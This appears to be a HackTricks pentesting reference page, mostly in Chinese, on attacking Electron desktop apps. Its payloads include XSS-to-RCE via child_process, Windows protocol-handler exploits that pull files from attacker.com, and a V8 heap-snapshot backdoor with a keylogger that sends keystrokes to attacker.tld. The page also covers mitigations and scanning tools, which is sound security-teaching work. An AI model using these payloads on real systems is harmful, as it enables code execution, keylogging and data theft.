Electron 桌面应用

Reading time: 27 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

介绍

Electron 将本地后端(使用 NodeJS)和前端(Chromium)结合在一起,尽管它缺乏现代浏览器的一些安全机制。

通常你可能会在 .asar 应用中找到 Electron 应用的代码,要获取代码你需要将其提取:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

在 Electron 应用的源代码中,在 packet.json 内,你可以找到指定的 main.js 文件,其中设置了 security configs。

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron 有两种进程类型:

  • Main Process(具有对 NodeJS 的完全访问权限)
  • Renderer Process(出于安全原因应限制对 NodeJS 的访问)

一个 renderer process 将是一个加载文件的浏览器窗口:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

renderer 进程 的设置可以在 main.js 文件中的 main 进程配置。如果 正确配置,其中一些配置可以 防止 Electron application 遭受 RCE 或其他漏洞利用。

Electron application 可能访问设备 via Node apis,尽管可以通过配置来阻止:

  • nodeIntegration - 默认为 off。如果启用,则允许从渲染进程访问 Node 功能。
  • contextIsolation - 默认为 on。如果关闭,主进程和渲染进程不会被隔离。
  • preload - 默认为空。
  • sandbox - 默认为 off。它将限制 NodeJS 可以执行的操作。
  • Workers 中的 Node Integration
  • nodeIntegrationInSubframes- 默认为 off
  • 如果 nodeIntegrationenabled,则允许在 Electron application 内 加载在 iframe 中 的网页中使用 Node.js APIs
  • 如果 nodeIntegrationdisabled,则 preloads 将在 iframe 中加载。

Example of configuration:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

一些 RCE payloads 来自 here:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

捕获流量

修改 start-main 配置并添加 proxy 的使用,例如:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

如果你能在本地执行一个 Electron App,则有可能使其执行任意 JavaScript 代码。查看:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

如果 nodeIntegration 被设置为 on,网页的 JavaScript 就可以通过调用 require() 轻松使用 Node.js 的功能。例如,在 Windows 上执行 calc 应用的方式是:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

设置中指定的脚本在渲染器中的其他脚本之前加载,因此它对 Node APIs 拥有无限制的访问

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

因此,该脚本可以将 node-features 导出到页面:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > 如果 contextIsolation 启用,则此方法无效

RCE: XSS + contextIsolation

The contextIsolation 引入了 web 页面脚本和 Electron 的内部 JavaScript 代码之间的隔离上下文,使得各自的 JavaScript 执行互不影响。 这是消除 RCE 可能性所必需的功能。

如果这些上下文没有被隔离,攻击者可以:

  1. 执行 arbitrary JavaScript in renderer (XSS or navigation to external sites)
  2. Overwrite the built-in method,该方法在 preload 或 Electron internal code 中被使用以接管功能
  3. Triggeroverwritten function 的调用
  4. RCE?

There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

绕过点击事件

如果在点击链接时有施加限制,你可能可以通过使用中键点击而不是常规的左键点击来绕过它们。

javascript
window.addEventListener('click', (e) => {

通过 shell.openExternal 的 RCE

有关这些示例的更多信息,请查看 https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8https://benjamin-altpeter.de/shell-openexternal-dangers/

在部署 Electron 桌面应用时,确保 nodeIntegrationcontextIsolation 的正确设置至关重要。已证明,启用这些设置可以有效防止主进程发起、针对 preload scripts 或 Electron 原生代码的 client-side remote code execution (RCE)

当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对于应用的安全性和功能性至关重要:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

这些侦听器被桌面应用程序覆盖以实现其自己的业务逻辑。应用程序会评估导航链接是应在内部打开还是在外部浏览器中打开。这个决策通常通过一个函数,openInternally,来做出。如果该函数返回 false,则表示该链接应在外部打开,使用 shell.openExternal 函数。

Here is a simplified pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS 安全最佳实践建议不要使用 openExternal 函数接受不受信任的内容,因为这可能通过各种协议导致 RCE。操作系统支持不同的协议,这些协议可能触发 RCE。有关此主题的详细示例和进一步说明,请参阅 this resource,其中包含能够利用此漏洞的 Windows 协议示例。

在 macos 中,openExternal 函数可以被利用来执行任意命令,例如 shell.openExternal('file:///System/Applications/Calculator.app')

Examples of Windows protocol exploits include:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + 有漏洞的 preload IPC + shell.openExternal

该漏洞可以在 this report 中找到。

The webviewTag 是一个 已弃用的功能,允许在 renderer process 中使用 NodeJS,应当禁用,因为它允许在 preload context 中加载脚本,例如:

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

因此,能够加载任意页面的攻击者可以使用该标签来 load an arbitrary preload script

随后,这个 preload script 被滥用以调用一个 vulnerable IPC service (skype-new-window),该服务调用了 shell.openExternal 从而获得 RCE:

javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

读取内部文件: XSS + contextIsolation

禁用 contextIsolation 会允许使用 <webview> 标签(类似于 <iframe>),来读取并 exfiltrating 本地文件。下面的示例演示了如何利用此漏洞读取内部文件的内容:

进一步地,还分享了另一种读取内部文件的方法,突出了 Electron desktop app 中一个严重的本地文件读取漏洞。该方法涉及注入脚本以利用应用并 exfiltrate 数据:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + 旧 Chromium

如果应用使用的 chromium旧的 且存在已知的 漏洞,那么可能能够 利用它并通过 XSS 获取 RCE
你可以在这篇 writeup 中看到一个示例: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing:通过 Internal URL regex bypass

假设你发现了一个 XSS,但你无法触发 RCE 或窃取内部文件,你可以尝试利用它来通过 phishing 窃取凭据

首先,你需要了解当你尝试打开一个新的 URL 时会发生什么,检查前端的 JS 代码:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

openInternally 的调用会决定该 链接 是否作为属于平台的链接在 桌面窗口打开 是否作为第三方资源在 浏览器打开

在函数使用的 regex 存在 可被绕过的漏洞(例如 未对子域名的点进行转义)的情况下,攻击者可以滥用 XSS 来 打开一个新的窗口,该窗口位于攻击者的基础设施中,向用户 请求凭据

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// 协议

the docs 所述,运行在 file:// 的页面对你机器上的每个文件拥有单向访问权限,这意味着 XSS 问题可以被用来加载用户机器上的任意文件。使用 自定义协议 可以防止此类问题,因为你可以将协议限制为仅提供特定的一组文件。

Remote 模块

Electron Remote 模块允许 渲染进程访问主进程的 API,便于 Electron 应用内的通信。然而,启用此模块会带来严重的安全风险。它扩大了应用的攻击面,使其更容易受到诸如跨站脚本(XSS)攻击等漏洞的影响。

tip

虽然 remote 模块将一些 API 从主进程暴露给渲染进程,但仅仅滥用这些组件并不容易直接导致 RCE。然而,这些组件可能会暴露敏感信息。

warning

许多仍然使用 remote 模块的应用以一种需要在渲染进程中启用 NodeIntegration 的方式使用它,这构成了一个 巨大的安全风险

自 Electron 14 起,Electron 的 remote 模块可能在多个步骤中被启用;出于安全和性能原因,建议不要使用它

要启用它,首先需要在主进程中启用它

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

然后,渲染进程可以像这样从该模块导入对象:

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

blog post 指出来自 remote 模块的对象 app 暴露的一些有趣的 函数

  • app.relaunch([options])
  • 通过退出当前实例并启动新实例来重启应用。 对于 应用更新 或重大 状态变更 很有用。
  • app.setAppLogsPath([path])
  • 定义或创建用于存放应用日志的目录。 可以使用 app.getPath()app.setPath(pathName, newPath) 检索或修改该路径。
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • 将当前可执行文件注册为指定协议的默认处理程序。 如有需要可以提供 自定义路径参数
  • app.setUserTasks(tasks)
  • 在 Jump List 的 Tasks 分类中添加任务(在 Windows 上)。 每个任务可以控制应用如何 启动 或传递哪些 参数
  • app.importCertificate(options, callback)
  • 将 PKCS#12 证书导入系统的证书存储(仅限 Linux)。 可以使用 callback 来处理结果。
  • app.moveToApplicationsFolder([options])
  • 将应用移动到 Applications 文件夹(在 macOS 上)。 有助于确保 Mac 用户的 标准安装
  • app.setJumpList(categories)
  • 在 Windows 上设置或移除自定义 Jump List。 你可以指定 类别 来组织任务如何向用户展示。
  • app.setLoginItemSettings(settings)
  • 配置哪些可执行文件在登录时启动及其选项(仅 macOS 和 Windows)。

示例:

javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences 模块

这是 Electron 中用于访问系统偏好设置并发出系统事件主要 API。像 subscribeNotificationsubscribeWorkspaceNotificationgetUserDefaultsetUserDefault 这样的 方法 都是该模块的一部分

示例用法:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • 侦听 使用 NSDistributedNotificationCenter 的 原生 macOS 通知
  • macOS Catalina 之前,可以通过向 CFNotificationCenterAddObserver 传递 nil 来嗅探 所有 分发的通知。
  • Catalina / Big Sur 之后,沙箱化应用仍可通过按名称注册通知来 订阅 许多事件(例如 屏幕锁定/解锁挂载卷网络活动 等)。

getUserDefault / setUserDefault

  • NSUserDefaults 交互,NSUserDefaults 在 macOS 上存储 应用全局 首选项。

  • getUserDefault检索 敏感信息,例如 最近文件位置用户的地理位置信息

  • setUserDefault修改 这些首选项,可能影响应用的 配置

  • 较旧的 Electron 版本(v8.3.0 之前),只有 NSUserDefaults 的 标准套件 可被 访问

Shell.showItemInFolder

此函数在文件管理器中显示指定文件,该操作 可能会自动执行该文件

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron apps should have a Content Security Policy (CSP) to prevent XSS attacks. The CSP is a security standard that helps prevent the execution of untrusted code in the browser.

It's usually configured in the main.js file or in the index.html template with the CSP inside a meta tag.

For more information check:

Content Security Policy (CSP) Bypass

RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)

这个真实世界的链影响了 Visual Studio Code 1.63 (CVE-2021-43908),演示了当 CSP、postMessage 和 scheme handlers 配置不当时,webview 中由 markdown 引发的单一 XSS 如何升级为完整的 RCE。Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt

Attack chain overview

  • First XSS via webview CSP: The generated CSP included style-src 'self' 'unsafe-inline', allowing inline/style-based injection in a vscode-webview:// context. The payload beaconed to /stealID to exfiltrate the target webview’s extensionId.
  • Constructing target webview URL: Using the leaked ID to build vscode-webview://<extensionId>/.../<publicUrl>.
  • Second XSS via postMessage trust: The outer webview trusted window.postMessage without strict origin/type checks and loaded attacker HTML with allowScripts: true.
  • Local file loading via scheme/path rewriting: The payload rewrote file:///... to vscode-file://vscode-app/... and swapped exploit.md for RCE.html, abusing weak path validation to load a privileged local resource.
  • RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.

Example RCE primitive in the final context

js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe');            // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS

关于 postMessage 信任问题的相关阅读:

PostMessage Vulnerabilities

工具

  • Electronegativity 是一个用于识别 Electron 应用中错误配置和安全反模式的工具。
  • Electrolint 是一个用于 Electron 应用的开源 VS Code 插件,使用 Electronegativity。
  • nodejsscan 用于检查存在漏洞的第三方库
  • Electro.ng: 需要购买

实验

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s 你可以找到一个用来利用易受攻击的 Electron 应用的实验。

一些可以在实验中帮助你的命令:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

通过篡改 V8 堆快照进行本地植入后门 (Electron/Chromium) – CVE-2025-55305

Electron 和基于 Chromium 的应用在启动时反序列化预构建的 V8 heap snapshot (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) 以初始化每个 V8 isolate (main, preload, renderer)。历史上,Electron 的 integrity fuses 并未将这些快照视为可执行内容,因此它们规避了 fuse-based integrity enforcement 和操作系统的 code-signing 检查。结果是在用户可写的安装中替换快照可以在不修改签名二进制或 ASAR 的情况下,在应用内部实现隐蔽且持久的代码执行。

Key points

  • Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
  • Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
  • Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
  • Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.

Generating a malicious snapshot without building Chromium

  • Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.

Example minimal payload (prove execution by forcing a crash)

js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file

const orig = Array.isArray;

// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};

Isolate-aware payload routing (run different code in main vs. renderer)

  • 主进程检测: 只有 Node 可用的全局变量(如 process.pid、process.binding() 或 process.dlopen)存在于主进程 isolate 中。
  • 浏览器/renderer 检测: 仅在文档上下文中运行时,浏览器专有的全局变量(如 alert)可用。

示例 gadget:一次性探测主进程的 Node 能力

js
const orig = Array.isArray;

Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');

// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};

Renderer/browser-context 数据窃取 PoC (e.g., Slack)

js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};

操作流程

  1. 编写 payload.js,覆盖一个常见的内置函数(例如 Array.isArray),并可选地根据 isolate 分支。
  2. 在不包含 Chromium 源代码的情况下构建 snapshot:
  • npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
  1. 覆盖目标应用的 snapshot 文件:
  • v8_context_snapshot.bin (always used)
  • browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
  1. 启动应用;每当使用所选的内置函数时,gadget 就会执行。

说明和注意事项

  • Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
  • Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
  • Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.

检测与缓解

  • 将 snapshot 视为可执行内容并将其纳入完整性强制(CVE-2025-55305 fix)。
  • 优先使用仅管理员可写的安装位置;对 v8_context_snapshot.bin 和 browser_v8_context_snapshot.bin 建立基线并监控哈希值。
  • 检测早期运行时的内置函数被覆盖以及意外的 snapshot 更改;当反序列化的 snapshot 与预期值不匹配时发出警报。

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks